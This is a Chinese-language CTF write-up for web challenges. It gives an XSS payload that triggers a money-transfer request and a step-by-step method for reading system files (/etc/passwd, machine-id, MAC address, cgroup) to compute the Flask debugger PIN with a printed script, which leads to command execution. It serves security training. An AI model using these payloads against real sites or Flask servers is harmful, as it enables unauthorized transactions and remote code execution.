<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'gdd',a:'10000'}});</script>
web333
跟上题一样用xss出,但是一起上一题是可以通过转负数的钱的方法做出来的,然后现在这个修好了
常用姿势
web801
进去是一个文件读取
尝试读flag然后非预期解了
正常来说这是一个flask报错算pin码的题目
输入一个不正确的文件路径他就会报错
pin码就是一个进入flask调试模式的密码,可以用脚本算出来
生成pin码需要以下六个参数:
- username 可以是app root appweb flaskweb,在/etc/passwd读出来
- modname 默认是flask.app
- appname 默认是Flask
- moddir 这是app.py的绝对路径,报错信息就有,如上面的是/usr/local/lib/python3.8/site-packages/flask/app.py
- uuidnode 机器mac地址(十进制),可以读取 /sys/class/net/eth0/address或者** /sys/class/net/ens33/address **得到,再去python用int(‘’,16)转换就可以
- machine_id 机器码,可以通过**/etc/machine-id和/proc/sys/kernel/random/boot_id获取前半部分,/proc/self/cgroup**获取后半部分,docker环境只需要获取后面两个,别的就三个都要
然后通过下面的脚本算出pin码
import hashlib
from itertools import chain
probably_public_bits = [
'root'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485410388611',# str(uuid.getnode()), /sys/class/net/ens33/address
'310e09efcc43ceb10e426a0ffc99add5c651575fe93627e6019400d4520272ed'#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
注意一下python3.7和3.8的脚本是不一样的,第十五行,3.8用的sha1,3.7用的md5
最后点击报错右边的小黑框输入pin码就可以调试然后命令执行了